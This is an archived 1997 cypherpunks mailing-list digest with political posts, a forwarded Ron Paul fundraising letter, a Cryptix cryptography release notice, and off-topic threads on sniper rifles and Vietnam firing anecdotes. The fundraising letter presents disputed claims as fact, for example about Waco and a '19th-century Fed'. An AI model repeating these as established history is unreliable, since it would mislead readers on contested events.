The Commerce Clause is the most abused section of the Constitution use to
justify the most heinous and draconian actions of the federal government.

You truly are no lover of freedom.

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand
that feeds you. May your chains set lightly upon you; and may posterity
forget that ye were our countrymen."
- -- Samuel Adams


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKBO3Y9Co1n+aLhhAQLiBQP8Cto38DjPor2/QjANZbwFXFR6fa55M5YB
Rd0h25jWefyErzIyC1tPrLJLmyT3muI2U2KVIeusCHh5Jh0t8dgku3cQ8ZhgNeIw
3Ku//Yr+B5XJmKXSAxyGrJCpmTmtxJ2ZtlIx8vryLvqTjlbq/B7GsbIfAIZfQAjb
euKsL4dvmPg=
=lPC+
-----END PGP SIGNATURE-----






From vznuri at netcom.com  Tue Dec 23 16:17:36 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 24 Dec 1997 08:17:36 +0800
Subject: ron paul for prez
Message-ID: <199712232350.PAA19921@netcom8.netcom.com>




------- Forwarded Message

Date: Tue, 23 Dec 1997 10:42:19 -0400 (EDT)
From: Patricia Neill 
Subject: IP: An Important Recent Letter from Congressman Ron Paul
To: ignition-point at majordomo.pobox.com



An Important Recent Letter from Congressman Ron Paul (Texas):

Please forward freely!

- ----------------------

Congressman Ron Paul

House of Representatives
203 Cannon
Washington D.C.  20515

TEL 202-225-2831
FAX 202-226-4871


Dear Friend:

     The other day, I made a huge "gaffe" on national TV:  I told the truth
about the crimes of the U.S. government.  As you can imagine, the ceiling
fell in, and a couple of walls too.

     Congressmen are supposed to support the government, I was told.  Oh,
it's okay to criticize around the edges, but there are certain subjects a
member of the House of Representatives is not supposed to bring up.  But I
touched the real "third-rail" of American politics, and the sparks sure
flew.

     I was interviewed on C-SPAN's morning "Washington Journal," and I used
the opportunity, as I do all such media appearances, to point out how many
of our liberties have been stolen by the federal government.  We must take
them back.

     The Constitution, after all, has a VERY limited role for Washington,
D.C.  If we stuck to the Constitution as written, we would have: no federal
meddling in our schools;  no Federal Reserve;  no U.S. membership in the
UN;  no gun control;  and no foreign aid.

     We would have no welfare for big corporations, or the "poor"; no
American troops in 100 foreign countries;  no Nafta, Gatt, or "fast-track";
no arrogant federal judges usurping states rights;  no attacks on private
property;  and no income tax.

     We could get rid of most of the cabinet departments, most of the
agencies, and most of the budget.  The government would be small, frugal,
and limited.

     That system is called liberty.  It's what the Founding Fathers gave
us.  Under liberty, we built the greatest, freest, most prosperous, most
decent country on earth.

     It's no coincidence that the monstrous growth of the federal
government has been accompanied by a sickening decline in living standards
and moral standards.

     The feds want us to be hamsters on a treadmill -- working hard, all
day long, to pay high taxes, but otherwise entirely docile and controlled.
The huge, expensive, and out-of-control leviathan that we call the federal
government wants to run every single aspect of our lives.

[Page 2]

     Well, I'm sorry, but that's not America.  It's not what the Founders
gave us.  It's not the country you believe in.  It's not the country I
believe in.

     So, on that TV interview, I emphasized not only the attacks on our
property, but also the decline of our civil liberties, at the hands of the
federal police.  There are not supposed to be ANY federal police, according
to the Constitution.

     Then I really went over the line.  I talked about the Waco massacre.
Bill Clinton and Janet Reno claim those 81 church members, including 19
children, burned down their own church and killed themselves, and good
riddance.  So they put the few survivors on trial, and threw them in prison
for 40 years.

     We're not supposed to remember that the Bureau of Alcohol, Tobacco,
and Firearms -- talk about an unconstitutional agency -- rather than arrest
David Koresh on his regular morning jog,  called in the TV stations for a
big publicity bonanza, and sent a swat team in black masks and black
uniforms to break down his front door, guns blazing.  They also sent in a
helicopter gunship, to shoot at the roof of a church full of innocents.

     The Branch Davidians resisted, and after a heartless siege of almost
two months, and after cutting off food, water, and electricity, and playing
horrible rock and roll through huge speakers 24 hours a day, the feds sent
in the tanks to crush the walls of the church, and inject poisonous CS gas.

     Now, CS gas is banned under the Paris Convention on Chemical Warfare.
The U.S. could not use it in a war.  But it could and did use it against
American civilians.

     After the tanks did their work on the church, the place burst into
flame, and all 81 people -- men, women, children, and babies--were
incinerated in a screaming horror.

     Did some feds set the fire?  Did the flammable CS gas ignite, since
without electricity, the parishioners were using lanterns?  Did a tank
knock over a lantern, striking one of the bales of hay being used against
the thin walls as a "defense" against bullets?  or did the Davidians, as
Clinton and Reno claim, kill themselves?

     A new documentary -- Waco: The Rules of Engagement -- may show,
through FLIR infrared photography, FBI snipers killing the Davidians by
shooting through the back of the church, where no media cameras were
allowed.  This film won a prize at the famed Sundance Film Festival.  It
was made by people who took the government's side, until they investigated.

     Whatever the truth, there's no question that an irresponsible federal
government has innocent blood on its

[Page 3]

hands, and not only from Waco.  And the refusal of corrupt and perverse
liberals to admit it means nothing.

     In my TV interview, in answer to a caller's question, I pointed out
that Waco, and the federal murders at Ruby Ridge -- especially the FBI
sniper's shot that blasted apart the head of a young mother holding her
baby -- caused many Americans to live in fear of federal power.

     Then I uttered the sentiment that caused the media hysteria:  I said
that a lot of Americans fear that they too might be attacked by federal
swat teams for exercising their constitutional rights, or merely for
wanting to be left alone.

     Whoa!  You've never seen anything like it. For days, in an all-out
assault, I was attacked by Democrats, unions, big business, establishment
Republicans, and -- of course -- the media, in Washington and my home state
of Texas.  Newspapers foamed at the mouth, calling me a "right-wing
extremist."  (Say, isn't that what George III called Thomas Jefferson?)

     I was even blamed for the Oklahoma City bombing!  And by the way, I
don't believe we've gotten the full truth on that either.

     All my many opponents were outraged that a Congressman would criticize
big government.  "If you don't like Washington, resign!" said a typical
big-city newspaper editorial. But the media, as usual, were all wet. (Do
they ever get ANYTHING right?)

     The average Congressman may go to Washington to wallow in power, and
line his pockets with a big lobbying job for a special interest (so he can
keep ripping-off the taxpayers).

     But that's not why I'm in Congress.  It's not why I left my medical
practice as a physician.  It's not why I put up with all the abuse.  It's
not why I refuse a plush Congressional pension.

     I'm in this fight for a reason.  I want to hand on to my children and
grandchildren, and to you and your family, a great and free America, an
America true to her Constitution, an America worthy of her history.  I will
not let the crooks and clowns and criminals have their way.

     I'm in Congress to represent the ideas of liberty, the ideas that you
and I share, for the people of my district, for the people of Texas, for
the people of America.  That's why I'm working to stop federal abuses, and
to cut the government:  its taxes, its bureaucrats, its paramilitary
police, its spending, its meddling overseas, and every single
unconstitutional action it takes.  And not with a pair of nail scissors,
but with a hammer and chisel.  Won't you help me do this work?

     Not much of the federal leviathan would be left, if I

[Page 4]

had my way.  But you'd be able to keep the money you earn, your privacy
would be secure, your dollar would be sound, your local school would be
tops, and your kids wouldn't be sent off to some useless or vicious foreign
war to fight for the UN.  But Jefferson and the other Founders would
recognize our government, and our descendants would bless us.

     By the way, when I say cut taxes, I don't mean fiddle with the code.
I mean abolish the income tax and the IRS, and replace them with NOTHING.

     Recently, I asked a famous Republican committee chairman -- who's
always talking about getting rid of the IRS -- why he engineered a secret
$580 million raise for the tax collectors.  "They need it for their
computers," this guy told me.  So the IRS can't extract enough from us as
it is!

     The National Taxpayers Union says I have the highest pro-taxpayer
rating in Congressional history, that I am the top "Taxpayer's Best
Friend."  You know I won't play the Capitol Hill games with the Capitol
Hill gang, denouncing the IRS while giving the gestapo more of your money.
or figuring out some other federal tax for them to squeeze out of you.

     I also want to abolish the Federal Reserve, and send Alan Greenspan
out to get a job.  The value of our dollar and the level of our interest
rates are not supposed to be manipulated by a few members of the power
elite meeting secretly in a marble palace.

     The Federal Reserve is unconstitutional, pure and simple.  The only
Constitutional money is gold and silver, and notes redeemable in them.  Not
Fed funny money.

     Without the Federal Reserve, our money could not be inflated, at the
behest of big government or big banks. Your income and savings would not
lose their value.  Just as important, we wouldn't have this endless string
of booms and busts, recessions and depressions, with each bust getting
worse.  They aren't natural to the free market; they're caused by the
schemers at the Fed.

     President Andrew Jackson called the 19th-century Fed "The Monster"
because it was a vehicle for inflation and all sorts of special-interest
corruption.  Let me tell you, things haven't changed a bit.

     I also work to save our schools from D.C. interference.  Thanks to the
feds, new curriculums not only smear the Founders as "racist, slave-owning
elitists," they seek to dumb down our students so they will all be equal.
"Look-say" reading and the abolition of phonics has the same purpose, and
so does the new "fuzzy" math, in which there are no right and no wrong
answers.

     That must be what they use in the U.S. Treasury!  It's certainly what
they use in the U.S. Congress.

[Page 5]

     But ever since the beginning of federal aid to education and
accelerating with the establishment of the rotten Department of Education,
SAT scores have been dropping. Schools, with few exceptions, are getting
worse every year.

     To save our kids, we must get the sticky fingers of the feds off our
local schools, and let parents rule.  That's what the Constitution says,
and the Bible too.

     And then there's my least favorite foreign topic, the UN. World
government is obviously unconstitutional.  It undermines our country's
sovereignty in the worst way possible.  That's why I want us out of the UN,
and the UN itself taking a hike.

     After all, the UN is socialist and corrupt (many votes can be bought
with a "blonde and a case of scotch," one UN ambassador once said).  It
costs many billions, and it puts our soldiers in UN uniforms under foreign
commanders, and sends them off to unconstitutional, undeclared wars.  When
Michael New, one of the finest young men I've ever met, objected to wearing
UN blue, he was kicked out of the American Army.  What an outrage.

     Not one dime for the UN, and not one American soldier!  Not in Haiti,
not in Bosnia, not in Somalia, not in Rwanda.  I know it's radical, but how
about devoting American military efforts to defending America, and only
America?

     Such ideas, said one newspaper reporter, make me a "maverick who will
never go far because he won't 'go along to get along.'"  Darn right.  What
does "go far" mean?  Get a big government job?  The heck with that.  And I
won't sell my vote for pork either.

     When I walked through the U.S. Capitol this morning, I got angry.  The
building is filled with statues and paintings of Jefferson, Madison, and
the other Founders.  Those great men sacrificed everything to give us a
free country, and a Constitution to keep it that way.

     When I was first elected, I placed my hand on the Bible and swore an
oath to uphold the Constitution.  That's exactly what I'm fighting for.
But such ideas drive the liberals crazy.  That's why I badly need your
help.

     I've been targeted nationally for defeat.  The Democrats, the AFL-CIO,
the teachers union, big business PACs, the trial lawyers, the big bankers,
the foreign-aid .lobbyists, the big media, and the establishment
Republicans want to dance on my political grave.  The Fed, the Education
Department, and the UN are anxious to join in.  They can't stand even one
person telling the truth.  And they're terrified when that truth gains the
people's support.

     Right now, four well-funded Democrats are competing to try to beat me,
and a Republican is rumored to have been

[Page 6]

offered money at a secret meeting in Mexico(!) if he would try to knock me
off in a primary.

     Won't you help me stay up here to fight? Frankly, I'm in trouble if
you don't.

     My Texas district has 22,000 square miles (not a misprint). I've got
to travel all over it, set up small offices to be manned by volunteers,
advertise, pay phone bills, and distribute video and audio tapes to the
people to get around the big-media lies.  As I know from my last election,
which I won by the skin of my teeth, the media will carry any smear, repeat
any libel, throw any piece of mud, no matter how untrue.  In fact, the less
true, the more they like it.

     They are determined to silence me.  But you can help me overcome all
this.  Together, we can beat the bad guys arrayed against our country and
our freedom.  We can support the Constitution.  We CAN win.

     Your generous contribution of $25 or $50 would be great.  $100, $250,
or even $500 or $1,000 would be magnificent.  Of course, any amount would
help, and in return, I will keep you up-to-date on this fight as a member
of my "kitchen cabinet."

     What great men founded this country.  What great people have carried
on their fight.  That fight is not lost, not if you will join it.
Washington, D.C., is a loser, but among the people, our ideas are gaining
EVERY SINGLE DAY.

     Keep the tide turning in our direction.  Please make your most
generous contribution.  Join this fight for the Constitution, and stop
those who want to rip it up, and throw it in the Potomac.  Together, we can
join the Founders, fight. Together, we can make history.


Sincerely,

/s/ - Ron

Ron Paul
U.S. Congressman

P.S.

Without you, I may be lost, and they'll be breaking out the champagne in
D.C. PLEASE, DON'T LET THIS FIGHT FOR THE CONSTITUTION AND LIBERTY FALTER.
HELP ME WIN IT.







**********************************************
To subscribe or unsubscribe, email:
     majordomo at majordomo.pobox.com
with the message:
     subscribe ignition-point email at address
or
     unsubscribe ignition-point email at address
**********************************************
http://www.telepath.com/believer
**********************************************

------- End of Forwarded Message






From rah at shipwright.com  Tue Dec 23 17:07:20 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 24 Dec 1997 09:07:20 +0800
Subject: Cryptix 3.0 - the International JCE
Message-ID: 




--- begin forwarded text


Date: 23 Dec 1997 22:41:22 -0000
From: iang at systemics.com
To: e$@vmeng.com
Subject:  Cryptix 3.0 - the International JCE
Sender: 
Precedence: Bulk

Happy Xmas from the Cryptix Development Team!   Here's the full story:


=======================================
For immediate release:

Cryptix 3.0 - the International JCE

23 December 1997 -- A major new release of Cryptix is now available on
web sites around the world. Cryptix V3.0 includes the International Java
Cryptography Extension (IJCE).

The cleanroom implementation of the JavaSoft specification was built by
David Hopwood and Raif Naffah, and also includes new algorithms by the
team, including the long-awaited unencumbered ElGamal public key
algorithm.

Cryptix includes the strong cryptography that is needed to protect
privacy and electronic commerce on the Internet. With this release, the
Cryptix Development Team is maintaining its committment to quality,
freeware cryptography.

In full, the Cryptix International JCE release supports:

       Symmetric
       encryption
                      Blowfish, CAST5, DES,
                      Triple DES, IDEA,
                      LOKI'91, RC2, RC4,
                      SAFER, SPEED, Square
       Message digests
                      HAVAL, MD2, MD4,
                      MD5, RIPEMD-128,
                      RIPEMD-160, SHA-0,
                      SHA-1
       Public-key
       encryption
                      RawElGamal GF(p), RSA
       Public-key
       signatures
                      RawElGamal GF(p), RSA
       Padding
                      PKCS#5, PKCS#7,
                      OneAndZeroes, NONE
       Modes
                      ECB, CBC, CFB,
                      CFB-PGP, OFB
       Miscellaneous
                      Base64 encoding

Cryptix now offers the widest choice in Java cryptographic solutions.
These benefits can be downloaded from the international mirror index
listed below.

A design goal of maintaining compatibility with Java 1.0.2 has been
substantially achieved, although specific Java 1.1 features and some of
the new algorithms (ElGamal and KeyGenerators) are not available when
using the older standard. This provides a smoother upgrade path to full
J1.1 and JCE functionality.

The international download mirror index is located at
http://www.systemics.com/software/cryptix-java/   The Cryptix
Development Team acknowledges the kind assistance of the many mirror
sites that permit widespread and free distribution of the product, to
maximum benefit of the Internet community.

David Hopwood , Raif S. Naffah 
and Ian Grigg  are available to answer questions on
this release of Cryptix.

- - - - - - - - -
Cryptix is a trademark of Systemics Ltd.
Java is a trademark of Sun Microsystems, Inc.
Sun Microsystems does not endorse this release,
and are not involved in any way with the product.
--
iang                                      systemics.com

FP: 1189 4417 F202 5DBD  5DF3 4FCD 3685 FDDE on pgp.com



----------------------------------------------------------------------
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk/                   info at hyperion.co.uk
----------------------------------------------------------------------
Full-Strength Cryptographic Solutions for Worldwide Electronic Commerce
http://www.c2.net/                                   stronghold at c2.net
----------------------------------------------------------------------
Like e$? Help pay for it!
For e$/e$pam sponsorship or donations, 
----------------------------------------------------------------------

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From blancw at cnw.com  Tue Dec 23 17:43:38 1997
From: blancw at cnw.com (Blanc)
Date: Wed, 24 Dec 1997 09:43:38 +0800
Subject: Best Cypherpunk long gun
Message-ID: <3.0.32.19971223173919.006c1b84@cnw.com>



Gladiator Z. Nuri wrote:

>no wonder TCM is so frustrated all the time. forget chips,
>forget software, he's really a stymied wannabe gun salesman.
>
>I've almost never complained about off topic posts, but
>this is really beyond the limit of all comprehension.
............................................................

You would have had to've been up late last night/early this morning, to
understand.   Jim & Brian & Landon were sitting around comparing notes on
AKs & things, and someone trolled the list, and TCM volunteered a bit, and
so it went.

I was lurking, bemused.  Such details to go over; every little thing is
measured & labeled, typed and dated.  "I can take it apart in 11 seconds
and put it back together in 21".   

Hmmm.

    ..
Blanc






From dlv at bwalk.dm.com  Tue Dec 23 18:59:08 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 10:59:08 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: <199712232256.OAA08140@netcom10.netcom.com>
Message-ID: 



"Vladimir Z. Nuri"  writes:

> no wonder TCM is so frustrated all the time. forget chips,
> forget software, he's really a stymied wannabe gun salesman.
>
> I've almost never complained about off topic posts, but
> this is really beyond the limit of all comprehension.

I suppose anything crypto-relevant (i.e. on topic for this list)
would be beyond the limits of a <*S0V0K*>'s comprehension.

I also suppose Sameer Parekh must be very upset that the fascist
US gubmint has censored his favorite sex symbol - Joe the Camel.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From anon at anon.efga.org  Tue Dec 23 19:07:36 1997
From: anon at anon.efga.org (Anonymous)
Date: Wed, 24 Dec 1997 11:07:36 +0800
Subject: No Subject
Message-ID: 



At 02:52 AM 12/23/97 -0600, you wrote:
>Forwarded message:
>
>> Subject: Re: Lock and Load (fwd)
>> Date: Tue, 23 Dec 97 02:41:03 -0500
>> From: "Brian B. Riley" 
>
>>  It was the first cicilian marketed semi-auto in the country

No, that one was a Baretta.

The Browning  was the first successfully marketed simi-auto shoulder weapon in *this* country. I believe the Remington M-8 was based on the same Browning recoiling barrel design.

>
>This doesn't use a Mauser 1898 action does it? The top feed 5-round clip is
>my first clue...

The 95 and 98 Mauser (along with the Springfield) are *bolt action*  arms. They are magazine fed.

>
>As to first semi-automatic in the country, I believe  the Springfield 1903
>has that particular honor. It used a Mauser '98 action also. It's also where
>.30-06 got the 06 from...also very popular in WW1 and used as a sniper rifle
>through Normandy, after which the Garand pretty much took over.

You've got yur facts mangled a tad. The 03 is a hand operated bolt action! It was predated in US military service by both the Krag and Lee  bolt actions. The first US service semi-auto rifle, discounting the abortive Pederson device, was the Johnson .30-06!
 . The .30-06 is called the .30-06 Springfield because the original , .30-03, round was loaded with a FMJ 220 gr. slug at around 2000 fps . It proved to be little better than the trapdoor .45-70 which it replaced in the hands of most infantry troops. In190!
6 a new service cartridge with  slightly different case dimensions was introduced sending a FMJ 150 gr. bullet out at around 2500 fps. Later it was up rated to 2700 fps as the brittle case hardened 03 Springfield actions were phased out in favor of  strong!
er "hi-number" 03-A3 rifles. I carried an 03-A3 (serial number 4796575) for  four years. Good dependable weapon and if I could see em, I could generally hit em with it.

>Yep, bet this is some sort of Mauser '98 action...

Nope, don't bet yur gas money , sonny.

>
>> Merry Christmas to you too ... we here in Vermont are having a *very* 
>> white Christmas already with more snow coming tonite and tomorrow ...
>
>We're supposed to get rain and more rain starting tomorrow. They say it might
>be clear on Christmas but the rain returns on Friday...;(
>
>Stay warm & thanks for the discussion.
>
>   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |

Screw the holiday cheer shit, I wish you a good meal, a warm bed, and unlimited firepower.

DemanglerMunger    






From wombat at mcfeely.bsfs.org  Tue Dec 23 19:13:00 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 24 Dec 1997 11:13:00 +0800
Subject: Best Cypherpunk long gun (fwd)
In-Reply-To: <199712231551.JAA25031@einstein.ssz.com>
Message-ID: 




On Tue, 23 Dec 1997, Jim Choate wrote:

> Forwarded message:
> 
> > Date: Tue, 23 Dec 1997 01:08:04 -0700
> > From: Tim May 
> > Subject: Re: Best Cypherpunk long gun (fwd)
> 
> 
> > For sniper work, a bolt-action is by far the most popular piece.
> 
It's difficult and expensive to build semi-autos that lock as well as a 
bolt action. 

As Tim pointed out earlier, for this type of shooting, 
sight-picture recovery generally outweighs the time it takes to operate 
the action, anyway. Also - if you are talking about counter-sniper work, 
the less shots you take, the less a target you make of yourself; taking 
between 0 and 1 shot is the recommended approach. :)

> Really? Watch a few more of those silly police shows on at night. Pay
> particular attention to the long-term hostage episodes. I generaly see the
> break-in team carrying MP-5 or shortie M-16's. I have yet to see the backup
> or sniper team using a bolt-action. Learning base tactics is about the only
> thing these shows are good for.
> 

If you can see the sniper, he's not doing his job very well. You seem to 
be confusing the "cover men" trailing the entry team with "snipers."

Since "most" LEA SWAT units operate in urban areas, their snipers are 
probably within 100 yards of the target. An AR-15 easily accurate enough 
at that range (even without a scope, although 4x-6x works well at that 
range). Most would likely use a bolt-action, though.

Most of the higher-end bolt-actions will shoot tighter than the average 
user can hold them (without resorting to sandbags and a lot of time to 
set up their shot).

Sorry for following the off-topic thread. I was going to throw in some 
ascii art, but I gotta go mix up some rum punch and stir the C4, or vice- 
versa.

Happy Holy-Daze.

-r.w.

p.s: William Craig's "Enemy at the Gates" has some interesting accounts 
of sniper/counter sniper action in and around Stalingrad during WWII. 
Much of the naritive is based on Zaitsev's "notes of a sniper" and 
interviews with Tania Chernova. 






From stewarts at ix.netcom.com  Tue Dec 23 19:19:57 1997
From: stewarts at ix.netcom.com (bill.stewart@pobox.com)
Date: Wed, 24 Dec 1997 11:19:57 +0800
Subject: It's the usual Libertarians-vs-Statists flame war!  Re: Freedom Forum report on the State of the First Amendment
Message-ID: <3.0.3.32.19971223190836.006f87c0@popd.ix.netcom.com>



We're pretty far off topic for both fight-censorship and cypherpunks,
aren't we?  There's a bit more excuse on fight-censorship, since
censoring racists vs. freely publishing hate speech is a core issue there;
the cypherpunks content is mostly limited to "In cypherspace, nobody can
hear you flame" and technologies for protecting freedom of speech and
association from censors, racists, and other statists.

Colin Rafferty writes:
>>> If you want to live in a hut in Montana and shelter yourself from the
>>> real world, feel free.  Otherwise, it may be a good idea to check out
>>> social theories from the last hundred years.

There've been a number of them.  Socialism.  Fascism.  Libertarianism.
Randroidism.  Existentialism.  Non-existentialism.  Nudism.  Pick several :-)

Some of those social theories say it's a good idea to hire guys in 
blue suits to beat up people who are acting in ways you consider rude,
while others think you have the duty to beat them up yourself,
or to protest non-violently, or to keep silent if it's not your business, 
or to insult them behind their backs, or to organize boycotts.  
In uncivilized countries, the blue-suiters carry guns to encourage rude 
people to allow themselves to be beaten up; more civilized liberal countries 
issue them clubs instead so the beating gets done up close and personal.

Personally, I think that freedom of association is a critical part of
a civilized society, and that people who hire thugs to beat up racists
are just as rude as the racists they're having beaten up; 
hiring quieter thugs who'll let the rude people chicken out and just
hand over their money and close their stores instead of being beaten
is also rude, but you can make a lot more profit that way and 
keep your liberal conscience satisfied that you're stopping rudeness.

(I hope it should be obvious, but I apply the same rhetoric to people
whose idea of rudeness is using rude words or smoking rude plants
or associating with the wrong color of people or engaging in
voluntary rude activities with the wrong people.  However, 
unlike liberals, it's hard to make that kind of people feel _guilty_
about being rude, only embarassed, and they tend to respond by
making more rude laws as an excuse to beat you up...)

William H Geiger (not to let his statist ranting off the hook either) 
is alleged to have written:
>> Please explain to me where in the Constitution the government is
>> given the power to determine who I *must* associate with?? 
and Colin replies
>Given that the Civil Rights Act of 1964 was upheld as Constitutional, I
>would generally use that as an argument.

The much-abused Commerce Clause is probably more useful for this argument.
Original intent or not, it's been quite effective.

The Constitution was, after all, a political compromise between people 
ranging from near-anarchists to moderate statists, slaveowners,
currency-fiaters, hard-money advocates, and non-government-money advocates,
free traders and drug smugglers, trade-taxers and trade-monopolizers,
religious, anti-religious, and a while raft of other positions.
It was far from morally perfect even on the issues where the writers
were far-thinking enough to imagine how their words might get twisted.

Keeping the states from regulating interstate commerce was a good idea,
not that the Commerce Clause appears to have done that very well,
but allowing the Feds to regulate it was, in my opinion, a serious mistake
even if the Feds had limited their control to real interstate commerce.
The previous confederation that the Constitution usurped wasn't perfect,
and allowed a more distributed statism rather than the centripetal statism
that replaced it.  Sure, if the Constitution _doesn't_ allows the Feds
to do something, they definitely shouldn't, but even if it _does_,
that doesn't mean it's even vaguely ok - it just means that the
bunch of politicians in Philadelphia agreed on it and went home
and talked their fellow politicians into buying the package.
Spooner argued that not only did they not have the right to do so, 
but that even if they had it wouldn't have been binding in his day, 
much less ours.

And by the way, none of this has to do with whether governments can
require corporations not to have their employees act rudely.
Corporations are a fictional creature whose existence is a favor
from the government to the owners, and they can tie whatever strings
they want to onto the favor when they grant it.  Whether granting
favors to bunches of owners is a State or Federal job,
or whether it's Nobody's job, the owners can do what they're told
or have their favor vanish in a puff of greasy orange smoke
and still not have a cause of action for complaining about it.
Companies run by partnerships and the business activities of
individuals are a separate issue, unless they're selling to the 
government, which also makes them fair game.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From berezina at qed.net  Tue Dec 23 19:33:49 1997
From: berezina at qed.net (Paul Spirito)
Date: Wed, 24 Dec 1997 11:33:49 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: 
Message-ID: <34a07f77.1933580@mail.qed.net>



On Mon, 22 Dec 1997 21:15:42 -0700, Tim May wrote:

>If the state-as-employer insists that English be spoken in offices, is this
>an infringement of First Amendment rights in even remotely the same way as
>if the state-as-sovereign illegalized the speaking of Portugese in Texas
>(or anyplace else that was not a state-as-employer office)?

But you seem to have gone beyond this to advocate that the State be able --
without 1A restrictions -- to forbid the speaking of Portuguese anywhere on
public property, even by private citizens. 

Paul






From brianbr at together.net  Tue Dec 23 19:46:45 1997
From: brianbr at together.net (Brian B. Riley)
Date: Wed, 24 Dec 1997 11:46:45 +0800
Subject: Best Cypherpunk long gun
Message-ID: <199712240341.WAA15907@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 11:57 AM, Igor Chudov @ home (ichudov at algebra.com)  passed
this wisdom:

>Brian B. Riley wrote:
>>   I had maybe a half dozen occasions where I put four to six 20
>> round mags (the Marines didn't start getting the 30 round mags
>> til the Army got all theirs - sigh!) through my weapon on full
>> auto in rapid succession and never had a jam.
>
>Did it overheat?

 Hot enough to burn exposed skin, but not enough for problems. I think
had I gotten up to seven or eight magazines one after another there
may have been danger of cooking off rounds or even barrel warp. I saw
a an M-2 50 on a Chinook get a barrel warp after 1000 straight rounds
... first the barrel was glowing cherry red in broad daylight then as
it cooled it warped enough that the gunner took it out of action ...
fortunately by that time we had gotten off the ground and were well
airborne on our way back to Danang (hmmmmmm, makes me think, nuthin
good ever did happen out near Thuong Duc and Charlie Ridge!)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNKB1Mz7r4fUXwraZAQGCCAf/Yb0kffVGoPxht45wNowpD66qawU6TKZT
g951Mv2OXwJMjDz3L7Dc1U5pqU2x2Zjr5kBKmA7qjJeHJFKB6BxP8XDUuauN6zMb
4Y0C3tVS+dPKSAJH5tgiP6Cx9Ml+qD14Pwn9zOrVPTSsHiDnF/haJrFXl5zaW9Ou
ivLHuBDK5cFR1vcQJVJvN2AAlYGnBWwxNJNAo6ytlxDC3niMQw4gR06MeQ8vQTDL
D3uxYDOa/2t5j9lskgwnXitbBnTgVHfOuD39+zdgPOhuCiPICxDxbNZrHfweVFDw
ADBieG/FAj5Tu8tiukeTTnsWtIcnBiHBW7VFWu8IxNKyaoPHZW66yA==
=6Gm8
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

 "The illiterate of the 21st century will not be those who cannot read and
  write, but those who cannot learn, unlearn, and relearn."   -Alvin 
Toffler







From brianbr at together.net  Tue Dec 23 19:47:15 1997
From: brianbr at together.net (Brian B. Riley)
Date: Wed, 24 Dec 1997 11:47:15 +0800
Subject: Best Cypherpunk long gun
Message-ID: <199712240342.WAA15974@mx01.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 12:28 PM, Tim May (tcmay at got.net)  passed this wisdom:

>Also, extreme long-range sniping is increasingly done with .50 
>BMGs, or .338 Lapua, or, at the lower end, .300 Winchester Magnums. 
>In all cases, shot recovery is limited more by the shooter 
>reacquiring the sight picture than by cycling the action, so a 
>semi-auto is mostly a waste of resources.

 In the 60's and early 70's at least, the most accurate 'sniper'
weapon in the military arsenal was the M-2 .50 cal machine gun (Ma
Deuce) with tripod and T/E mechanism and set for single shot fire.
There was a telecopic sight set for it and everything. On a 1st Recon
OP at a place called Hill 200 down river from Thuong Duc in Quang Nam
Province, Charlie liked to run dugouts and other small boats across
the Vu Gia at night and real early morning ... we used to potshot at
them with Ma Deuce from 2-3 klicks away and make good hits. We field
tested some of the first larger starlight scopes and the gave us one
rigged to mount on Ma Deuce, after three nights in a row causing
spectular secondaries Charlie gave up and moved much farther down
river. At the time they never could figure out how we saw them with
almost no moon.

 (interesting sidelight on this matter was that USMC T/O for Recon had
no 50 cals ... so we could not order ammo for it through normal supply
channels ... the only ammo we could get was by trading with the air
wing which meant all we could get was API (armor piercing incendiary)
sopposedly is highly verbotten to shoot at ground troops ... seems it
excessively ruins their afternoons!)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNKCAzD7r4fUXwraZAQGntgf/XwwHK5sEOwJJfOniOBxIPpDpslo0oPP8
2oIN9AJiaQGzclrdVATUntruLeZX4hHtCyOgrBBINaUGcu2/3EaIqvf0P2ofb2Bj
Gr1zC+JoXftLT+/Cs46KkM2lV6INwte5vjUve5SXkS57Zw3km9U5gDFNFPV/NWTR
nwihq2lU8W9BdIfHYS0suL9MAxddHKLoCSQeHZx9v0zWPchN3UotqM1Vn99KVKw2
dewgsbHYQ9izAiul0A/BIkZEpGELQSfg2z8cztvpYKuD3XKUThX7YFxHRZ2gN1LI
+HaHG57t8sF4qfIrzb7/mx1ZwqVU1NJ8kIZ3U7xLEfGLsKSwB94MvA==
=qPxj
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

 "The illiterate of the 21st century will not be those who cannot read and
